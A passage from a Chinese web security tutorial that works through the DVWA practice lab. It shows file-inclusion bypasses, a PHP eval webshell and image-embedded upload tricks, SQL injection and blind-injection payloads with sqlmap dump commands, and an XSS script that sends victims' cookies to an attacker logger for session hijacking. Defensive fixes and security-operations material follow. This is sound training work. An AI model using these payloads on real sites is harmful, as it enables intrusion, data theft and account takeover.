http://localhost/dvwa/vunlnerbilities/fi/?page=....//../../phpinfo.php
http://localhost/dvwa/vunlnerbilities/fi/?page=httphttp://://127.0.0.1/phpinfo2.php
3)High安全等級
報錯:ERROR: File not found!,經過測試,發現要求page參數的開頭必須是file,就那么剛好可以使用file本地文件協議。file://絕對路徑
http://localhost/dvwa/vulnerabilities/fi/?page=file:///www/admin/localhost_80/wwwroot/phpinfo2.php
遠程路徑就不好使了,如果要執行webshell,可以嘗試通過文件上傳漏洞上傳文件,在用file執行
4)Impossible安全等級
發現之前的方法都不管用,查看后台源碼,發現原來使用了白名單機制,page參數必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,杜絕了文件包含漏洞。
漏洞修復:
當服務器開啟allow_url_include選項時,會通過php的某些特性函數(include(),require()和include_once(),require_once())利用url去動態包含文件,此時如果沒有對文件來源進行嚴格審查,就會導致任意文件讀取或者任意命令執行。因此有效的方法就是采用白名單的方式,防止這種漏洞。
4.6 文件上傳
我們注冊論壇時,常常可以上傳自己的頭像,但是如果控制不嚴,不法分子就可能利用這個途徑上傳可執行代碼,引起安全問題,這里就是文件上傳漏洞。
DVWA實戰
1)Low安全等級
上傳一句話webshell的php文件
<?php @eval($_GET['cmd'])?> //eval() 函數把字符串按照 PHP 代碼來解釋
我們發現上傳成功,且還返回了文件路徑。
根據路徑我們構造攻擊URL,cmd后面跟上要執行的命令,以;結尾
http://localhost/dvwa/hackable/uploads/test.php?cmd=phpinfo();
2)Medium等級
上傳php文件提示,只接收圖片格式。嘗試將文件后綴修改為jpg上傳也失敗。
使用ZAP抓包工具分析對比上傳成功和失敗的兩次報文,發現以下三處不同,經過不斷嘗試發現限制在Content-type
我們通過ZAP修改Content-type=image/jpeg再次發送,已上傳成功。
3)High安全等級
修改content-type且修改為jpg后綴也不行。說明對內容也進行了限制。
我們這里使用“內涵圖”技術,將php代碼嵌入圖片中。
1.jpg為網上找的圖片,2.php內容為:<? php phpinfo(); ?>
linux:cat 1.jpg 2.php > 3.jpg
windows: copy 1.jpg/b+2.php/a 3.jpg
上傳成功后,根據提示路徑,去掉../../構造出URL:http://localhost/dvwa/hackable/uploads/3.jpg
直接訪問就是顯示圖片,怎么才能讓里面包含的代碼被執行呢?
方法一:
這里我們就要結合上一節提到的文件包含漏洞,讓服務器執行我們上傳的可執行代碼!我們追加page的參數為:
上面一堆亂碼就是圖片信息,但是不影響。后面就是我們的php代碼。
方法二:
利用nginx的畸形解析功能,需要nginx配置cgi.fix_pathinfo=1
例如URL里 xxxxx/3.jpg/3.php 只要3.jpg文件存在,就當成3.php來解析。
3)Impossible等級
上傳文件進行了重命名,重新生成了圖片,有效地防止了文件上傳漏洞。
漏洞修復建議:
- 上傳類型白名單
- 上傳文件重命名
- 文件壓縮重生成
- 存儲目錄執行權限
- 存儲目錄與Web分離
4.7 SQL回顯注入
SQL注入(SQL Injection):是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。
SQL回顯注入:數據庫的執行結果直接顯示到頁面上。
回顧SQL注入的條件:
- 參數用戶可控:前端傳給后端的參數內容是用戶可以控制的。
- 參數代入數據庫查詢:傳入的參數拼接到sql語句,且代入數據庫查詢。
DVWA實戰:
1)LOW安全等級
驗證漏洞:
提示我們輸入User ID,我們輸入1,頁面返回該用戶的信息。
於是我們猜想后台PHP代碼類似於:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
將用戶輸入的參數獲取后替換$id,拼接為SQL后傳入后台查詢。但這里不一定是 '$id',還有可能是 "$id"或是$id,但是不論是那種,$id=1'作為參數肯定是有語法問題的。
因此我們先首先嘗試輸入1',報錯(信息和在sql中執行一樣),說明后台程序將參數拼接到sql中執行。滿足SQL注入的條件。
嘗試傳入參數的方式:
如果是'$id',我們可以傳入1‘ or '1024'='1024,首先1'補齊了原來正確的sql保證輸入正確,后面的or '1024'='1024,再加上源代碼中的',代表始終成立的表達式,如果處理將會打印出其他數據。
同理,整理出以下三種嘗試:
$id 傳入1 or 1024=1024
‘$id’ 傳入1‘ or '1024'='1024
"$id" 傳入1" or "1024"="1024
結果是1‘ or '1024'='1024中了,結果如下:
嘗試猜測字段個數:
首先復習下sql的注釋方式, # -- (有空格) /**/ 我們一般選用#
輸入以下參數,1’保證了sql的正確性,order by 1代表根據第一個字段排序 #注釋了后面的語句,也就是后面的 ',保證了sql的正確性。
1' order by 1 #
只要不報錯,就繼續猜。幾次猜測確認了字段數為2。
確定回顯點:
1' union select ‘a’,‘b’ #
將一條記錄a,b追加到顯示結果中。之所以嘗試a,b是因為之前測試的字段數為2,這里任意輸入兩個字段值驗證是否能正確顯示。
查看數據庫版本和路徑:1' union select @@version,@@datadir #
用戶和數據庫名:1' union select user(),database() #
查詢數據庫中的所有表:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
說明數據庫dvwa中一共有兩個表,guestbook與users。
接下去我們看看users表里有些什么字段,擔心字段太多,我們用group_concat拼接這些字段:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
能獲用戶的密碼么:1' union select user,password from users #
雖然是加密過的,但是對於簡單密碼只要放到www.cmd5.com中就能破解出來。
能使用load_file函數去獲取服務器各種文件:1' union select 1,load_file("路徑") #
寫入webshell:1' union select '<?php @eval($_GET['cmd'];?)>',webshell into outfile '路徑'
查資料,能讀取的文件限制在secure_file_priv指定的路徑里,我這里是NULL,都無法讀取。
使用SQLMAP:
獲取注入點:sudo sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
獲取用戶和數據庫名:sudo sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6" --current-user --current-db
獲取表名:sudo sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6" -D dvwa --tables
獲取字段:sudo sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6" -D dvwa -T users --columns
獲取用戶密碼:sudo sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=8t9iebs9q1ic4u3l1d67pbibo6" -D dvwa -T users -C "user,password" --dump
另外,sqlmap也支持獲取webshell。
2)Medium安全等級
發現輸入框變成了下拉框,可以用TamperData或ZAP去修改請求報文。
同樣使用以下幾種方法去猜測:
‘$id’ 傳入1‘ or '1024'='1024 (發現特殊符號被轉義)
"$id" 傳入1" or "1024"="1024 (發現特殊符號被轉義)
$id 傳入1 or 1024=1024 (由於代碼問題不需要輸入引號,剛好繞過轉義問題,成功)
大部分操作同low,如查看數據庫版本和路徑:1 union select @@version,@@datadir #
對於帶有 ' 的命令被轉義了,可以使用HackBar插件里的Encoding功能進行Hex編碼,如 table_schema='dvwa' 將dvwa編碼為0x64767761,就可以不用帶引號了:
1 union select 1,table_name from information_schema.tables where table_schema=0x64767761 #
SQLMAP,與low等級類似,區別在於是Low是Get類型,Medium是post類型,參數不都在URL里,要用--data 指定
sudo sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" --cookie "security=medium; PHPSESSID=ndjh0r98f19cnt5d1op2avhre7"
4)High安全等級
輸出窗口為彈出的新窗口,而輸出窗口為原窗口。手動注入方式不變,增加的是Sqlmap的難度,因為輸入和輸出返回的頁面不同。-u參數指定輸入URL,--second-order參數指定輸出的URL,其他不變。
5)Impossible安全等級
限制了id數據類型,使綁定變量(數據庫只是使用它的值,並不解釋的他的內容),也可以使用存儲過程來實現代碼與數據分離。
實戰心得:
SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。防護方法主要有以下幾點:
- 不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉換等。
- 不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
- 不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
- 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
- 應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
4.8 SQL盲注
與普通的SQL注入相比,數據庫返回的結果不會顯示在頁面上,只會返回成功或失敗。
SQL盲注的一種思路:在執行為true的sql語句后拼接判斷為false的語句,如 where user_id=1 and 1024=1025,這個語句判斷肯定為false,如果拼接后執行結果失敗(false)說明可以注入。
‘$id’ 傳入1‘ and '1024'='1025
"$id" 傳入1" or "1024"="1025
$id 傳入1 or 1024=1025
除了用返回結果判斷,還可以通過返回時間判斷,也就就是延遲注入,如:
1)1’ and if(length(database())=4,sleep(5),1) # 通過抓包看,如果報文延遲,說明if條件為真,數據庫名的長度為4個字符。
2)benchmark(5000000, md5('test'))$ 通過計算test的md5值5000000次來延遲返回。
DVWA實戰:
1)Low安全等級
先測試輸入1,提示賬號存在,測試上述三種情況,發現傳入1‘ and '1024'='1025,提示賬號不存在,說明存在可注入的漏洞。
利用上述的方法,我們可以嘗試獲得數據庫名的長度,輸入:
1' and length(database())=1 # 提示不存在
1' and length(database())=2 # 提示不存在
1' and length(database())=3 # 提示不存在
1' and length(database())=4 # 提示存在
這樣我們就知道數據庫名的長度為4,接下去就是一個個猜測數據庫名,以第一個字符為例,輸入:
1’ and ascii(substr(databse(),1,1))>97 # 第一個字符的ascii值大於97(即小寫a)
提示存在,說明第一個字符ascii是大於a的,我們采用二分法逐一縮小范圍,最終獲得第一個字符為小寫d,采用同樣的方法,能把4個字符都試出來:dvwa。
采用這樣的思路,我們能像上一節一樣獲得字段名,表明,數據庫名,用戶,密碼等各種信息,但是我們發現相比上一節,盲注需要較多的重復勞動,這里推薦用sqlmap來進行盲注。
可以通過 -v可以指定詳細信息(1-6),觀察sql注入的過程,思路和我們類似,方法略有不同。
2)Medium安全等級
和顯示注入類似。
3)High等級
通過抓包發現ID是通過cookie提交,sqlmap需要設置lever2以上。
4.9 XSS
XSS:跨站腳本攻擊(Cross Site Script),我們之前提到XSS是指攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。理論上,所有可輸入的地方沒有對輸入數據進行處理的話,都會存在XSS漏洞。
DVWA實戰,XSS (Reflected):
1)Low安全等級
當我們輸入名字test時,頁面返回歡迎信息Hello test。若輸入一段js腳本,發現成功彈窗,驗證XSS漏洞存在。
<script>alert(/xss/)</script>
攻擊思路:用戶在登錄狀態訪問攻擊URL,腳本將cookie作為參數發給攻擊者的服務器,被記錄在文件里。
保存在攻擊者服務器的php文件:
<?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie); ?>
測試訪問:http://127.0.0.1/test.php?cookie=test123
發現生成了cookie文件並寫入了參數中的cookie值。
構造攻擊JS,在輸入框中輸入,測試成功。
<script>document.location='http://127.0.0.1/test.php?cookie=' + document.cookie;</script>
我們可以通過抓包,將剛才的URL復制作為發送鏈接。不過我們這里還是學習下怎么怎么夠着出這個有各種%的的URL。
接着我們構造URL,這是我們構造的原始URL:
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/test.php?cookie=' + document.cookie;</script>
選中name=后面的內容,通過hackbar進行URL encode即可。
劫持會話:
為了模擬黑客和用戶的行為,我使用了另一個瀏覽器(我安裝了兩個版本的firefox)在沒有登錄的情況下打開登錄頁面http://localhost/dvwa/login.php,用開發者工具或其他插件修改cookie為剛才獲取的cookie,然后直接訪問登錄后才能查看的頁面,http://localhost/dvwa/vulnerabilities/xss_r/ 此時顯示已經是admin身份了。
2)Medium安全等級
關鍵字進行了過濾,本質上是一種黑名單機制。使用黑名單就意味着可能可以繞過,例如采用嵌套寫法<scr<script>ipt>,過濾了內層,剩余的剛好為我們需要的。或者嘗試大小寫混合<ScRipt>。
3)High安全等級
script標簽被完全限制了,但只要是黑名單,就可能有缺陷,我們可以利用其它標簽如img和iframe標簽:
<img src=x onerror=alert(xss);>
<iframe onload=alert(1);>
4)Impossible安全等級
使用htmlspecialchars函數把預定義的字符&、”、 ’、<、>轉換為HTML實體,防止瀏覽器將其作為HTML元素,有效防止反射型XSS攻擊。
存儲型xss:
大部分同反射型一致。由於是存儲型的,例子中前端限制了長度,可以通過TamperData繞過限制
五、WEB安全體系建設
5.1 SDL介紹
安全開發生命周期(Security Development Lifecycle):
培訓:核心安全培訓
需求:安全需求分析;質量要求、Bug數量;安全和隱私風險評估
設計:設計需求分析;減小攻擊面
實施:使用指定工具;啟用不安全函數;靜態解析
驗證:動態分析;模糊測試;威脅模型和攻擊面分析
發布:事件響應計划;最終安全評析;發布存檔
響應:執行事情響應計划
SDL作用:
提升Web應用的安全性
降低安全漏洞修復成本
5.2 漏洞和安全處理
5.2.1 發現安全問題:
1全需求分析:項目初期接入,提前發現安全問題。如使用Web框架和語言的選型建議,敏感信息如密碼的保存方案,是否有上傳功能等等。
自動安全掃描:通過掃描器發現安全問題,自動化、周期性執行。
人工安全測試:包括白盒測試和黑盒測試,通常以黑盒測試為主。
入侵檢測:項目上線之后進行監控,通過監控入侵行為發現安全問題。主要分為網絡型入侵檢測(通過分析網絡流量)和主機型入侵檢測(主機上安裝軟件,分析日志、進程等信息)
日志分析:項目上線之后分析日志,通過分析日志發現安全問題。常見模式有可疑日志+人工分析,可疑日志+掃描器。
建立SRC:安全應急響應中心,通過安全愛好者發現安全問題。
與漏洞搜集平台合作:借助漏洞平台的力量和影響力,通過漏洞平台發現安全問題。
其它渠道:黑產卧底,與執法部門合作等等。
5.2.2 處理安全漏洞
1)防御:
輸入檢查:在服務端檢查;數據合法性校驗:類型、范圍。長度;盡量使用白名單。
輸出清理:如錯誤、異常信息會暴露內部細節。再如XSS ,輸出到HTML標簽時就需要進行
HTML編碼。
針對性防御:針對特定安全漏洞的利用方式,有特定的防御策略,比如重要的cookie設置為httponly ,這樣使用XSS就獲取不到該cookie。
WAF:對每個web請求進行規制檢測,從而匹配可能的web攻擊並進行攔截。
2)修復:
漏洞知識庫(提供詳細漏洞說明和修復方法,需要落地可執行)
漏洞修復周期(需要有時間限制,根據漏洞危害等級限定漏洞修復周期)
漏洞復查(需要安全團隊復查,業務方和開發不可信)。
5.2.3 安全事件處理
分類:入侵事件,攻擊事件,信息泄露
分級:一般分為低中高三級,事件等級不是一成不變,可能會隨着事態發展升、降級。
安全事件應急響應流程:事件確認,事件匯報,事件處理,歸檔和復盤。
5.3 安全運營概述
安全是一個過程,需要持續的運營。比如隨着業務的發展,會引入新的安全風險,需要不斷改進。
1)安全運營有哪些工作
發現和修復安全問題,防御體系建設和快速響應攻擊,SDL落實推動
2)工作如何落地
對內工作:安全掃描(周期性,定期檢測保障安全),安全漏洞預警(關注重大漏洞和時間,提前部署防御方案,提前提供解決方案),應急響應,安全監控與入侵檢測(通過監控發現安全問題,及時響應與處理)。
對外工作結合:建立外部溝通渠道和流程(提供統一對外溝通的郵件和IM工具,提供安全相關的溝通群,提供外部反饋問題的網站),安全圈關系(了解著名安全公司和安全圈子,積極參加安全會議,積極融入安全圈進行合作),品牌建設(參加合作會議,舉辦安全會議,打造安全產品,成立安全實驗室)。